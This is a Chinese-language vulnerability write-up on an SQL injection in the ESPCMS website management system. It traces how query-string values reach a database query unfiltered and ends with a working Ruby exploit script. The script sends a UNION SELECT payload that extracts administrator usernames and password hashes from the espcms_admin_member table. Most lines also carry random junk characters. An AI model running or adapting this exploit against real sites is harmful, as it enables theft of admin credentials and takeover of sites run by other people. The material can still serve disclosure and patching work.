0×0 漏洞概述0×1 漏洞细节
3 w9 v p! O( |# D. F. `- B8 R0×2 PoC3 d { N9 O) c; b6 r/ p
. d0 X1 H& @, U5 E3 B/ _
; q! f* e4 V3 r% ^" j& N4 Q. J7 i6 g9 \$ j( [. o3 U7 z
0×0 漏洞概述6 t; B# H$ G4 m- X
0 _0 O' o7 A4 p, w% T, w易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。: h4 [" f v4 w# T- O
其在处理传入的参数时考虑不严谨导致SQL注入发生- F7 t E8 P7 I
/ [, c. s4 C7 R- E" L; ~
! Z( |. I" r/ X8 H+ M) w/ M, j! o# [0×1 漏洞细节: Z% X& r7 t0 R3 b! I; g
( w( P3 O0 u' V4 [; g: |变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
: s0 j' t3 I0 `7 ?6 m正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
1 v: v( \) E: H. h' E而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
5 q% r. q8 ~" @7 R0 f4 t3 c( \% p7 ~- _
在/interface/3gwap_search.php文件的in_result函数中:4 T2 ]/ ?" l1 x C! @* V) H% J! ]
3 u" U# z2 ]: [0 Q/ n$ o
. P7 C. [( n* ?! K% [
4 [. R1 u3 X7 n function in_result() {
2 m7 Z: ~6 w- | D: n( U ... ... ... ... ... ... ... ... ...* T% } V$ u: L
$urlcode = $_SERVER[ 'QUERY_STRING '];; T: m; T+ Y/ d$ Y9 f( y6 ~
parse_str(html_entity_decode($urlcode), $output);$ B, p; X4 Z/ S1 o {& ?- k
4 a0 k1 e8 W7 \2 t1 a( P! |' c ... ... ... ... ... ... ... ... ...
$ J( U d- ?8 n( y' F H if (is_array($output['attr' ]) && count($output['attr']) > 0) {& v3 m* R% r4 s! \2 h( S* x: w; D
- ]7 E* u* O p& B% p+ ^% S
$db_table = db_prefix . 'model_att';# a& E6 R# M. ]1 l
- l5 |# c s$ d: z
foreach ($output['attr' ] as $key => $value) {
% P6 U8 L) ?8 e! E7 ~ if ($value) {& h. y6 i: P O( |0 h& x1 V1 G5 S
q, w, `0 s+ D4 r
$key = addslashes($key);9 o) C6 D) _ e+ R
$key = $this-> fun->inputcodetrim($key);
Y! `( g" x6 W" z. E, c$ a- M' s $db_att_where = " WHERE isclass=1 AND attrname='$key'";1 q0 f V0 ~% o
$countnum = $this->db_numrows($db_table, $db_att_where);1 \1 s- f1 v. \& [( {/ ?7 [& z
if ($countnum > 0) {4 X" u# y6 ?! ^+ J$ i
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
& Y" M3 y2 i. c% d% X, G }
+ ]4 _1 T& B" q2 M# X) }$ {* r0 e }
" v/ }9 J) l* d }( |- l- K5 P, e
}: L% _7 A- z8 {! U3 U& A4 @
if (!empty ($keyword) && empty($keyname)) {
\) B0 ^( g. |; t- H4 ^/ Q( W $keyname = 'title';
: O& G, Z, ?& M8 }. z $db_where.= " AND a.title like '%$keyword%'" ;
% s7 l5 u ]8 \' R# | } elseif (!empty ($keyword) && !empty($keyname)) {! J7 r! W2 r. f! I) K2 h# Z
$db_where.= " AND $keyname like '% $keyword%'";2 H/ H6 v8 X% }- P' U, D8 [9 K3 E
}$ ?# V' \! ~" p4 E3 P+ ` E
$pagemax = 15;
5 z' N3 g& J$ |# @' m/ e
^' j, ~- o) A+ ^ $pagesylte = 1;* h% ` ]) q8 A; I# e& |8 v
2 e( W$ X( f1 Z+ T$ o4 \# v
if ($countnum > 0) {# R" }7 q* `8 w5 U- c) m6 y
W8 h: y, k" w4 S
$numpage = ceil($countnum / $pagemax);( ^9 f0 @( }3 I+ V
} else {
! {1 w3 T& i# E* k4 n R: H# ] $numpage = 1;% \! x0 A1 S2 ^1 { A2 I8 X: ^7 d
}
4 a9 E4 s+ A: e# {2 @ $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;* q" ^4 R0 Q! J5 ]3 I
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);1 F# m/ k: c& G; ?4 {0 s
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
4 o1 R2 F! X& q8 g1 x4 E9 [" D0 h* k ... ... ... ... ... ... ... ... ...
& ], R, [7 k) z2 `5 E& f1 o }+ j% m N' {4 C
: N# b# |/ k" ?: c3 h
7 m$ e4 J3 C9 x0×2 PoC
' c% r% F. v# C) F2 P2 n, E+ M: w+ j9 [8 Q# d+ R! y
2 F" q9 M0 H7 G3 U+ P* Z
& X3 X, ^' K. P7 `; G2 l4 qrequire "net/http"
6 s* ?5 k- {( L; C$ c; `" J
4 |! u( f4 A+ ~ ]0 B9 P5 C, E( \def request(method, url)
3 n1 V( i" m$ Q! N if method.eql?("get")
: f# o3 t1 o+ M* C9 I, A6 k uri = URI.parse(url)
+ k4 X5 a3 U" f( U. x4 y http = Net::HTTP.new(uri.host, uri.port)6 I) B' x* V& l2 N9 N( s4 W
response = http.request(Net::HTTP::Get.new(uri.request_uri))0 s- |2 r6 A% [! t
return response; G* w4 W5 ^% x( ~; C! }1 L" J" i
end
+ V% ~5 o' P" a5 f2 U% }/ b" \end6 @8 ~$ V% {9 ^
+ |( W7 }2 K# c. U$ zdoc =<<HERE
( Z1 K+ L0 {5 c3 f! _% I! j-------------------------------------------------------4 J% x8 ?, ]6 _$ U' ]9 ]5 X& j
Espcms Injection Exploit
( M; x3 F" h6 AAuthor:ztz) q" @9 Y; D, o; w
Blog:http://ztz.fuzzexp.org/0 L3 N9 D& |9 @# Y- H+ Z
-------------------------------------------------------
$ h! E$ c9 v6 U- K& }6 b7 z8 D$ u
/ Q6 z F; L$ m; yHERE
0 W9 e- S& Q" g" H9 G* ^! J% l, o9 X$ H4 s( |8 h% l, X% v
usage =<<HERE
# z- K0 e+ @! s) P2 JUsage: ruby #{$0} host port path
u2 v" k1 Z, b3 ~example: ruby #{$0} www.target.com 80 /2 ]! v+ O% C4 x
HERE; E" Z: ~5 u4 s& V1 y* B/ j
' H) F6 J2 ]: F, aputs doc/ v1 P( \& w- ?* r! t' I$ s
if ARGV.length < 35 B5 P2 n- t4 u- t! O$ H( Q1 v
puts usage
, Q: M+ ^: Y2 kelse
$ z8 a6 s. O8 L& Q: j9 y $host = ARGV[0]
) D# c0 j0 ~6 [+ H1 H $port = ARGV[1]. X }) ?" U7 S7 Y
$path = ARGV[2]
- G, i. _: v1 a4 A1 h
& z8 R$ t2 C. j puts "send request..."5 I9 P1 x: j0 t; {4 c; W) ]- x
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
3 w. s5 m! P3 j' S# ~! Xattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13* n0 y, ~. ]1 a& P% X2 h
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,272 ~9 [: ~) ^: n+ Q/ m C% \( u: t
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
& E3 f1 M8 X6 Z5 U! f* g7 M% c' B response = request("get", url), d; L' [( u8 B& s
result = response.body.scan(/\w+&\w{32}/)' X! V: ^" q6 f9 R7 D( K
puts result& ?6 u9 m1 K8 y4 F$ }2 o0 E5 v4 L) B
end
7 B$ G! X- u+ a! p4 B: m' u8 I0 ~" G6 e( P8 u
|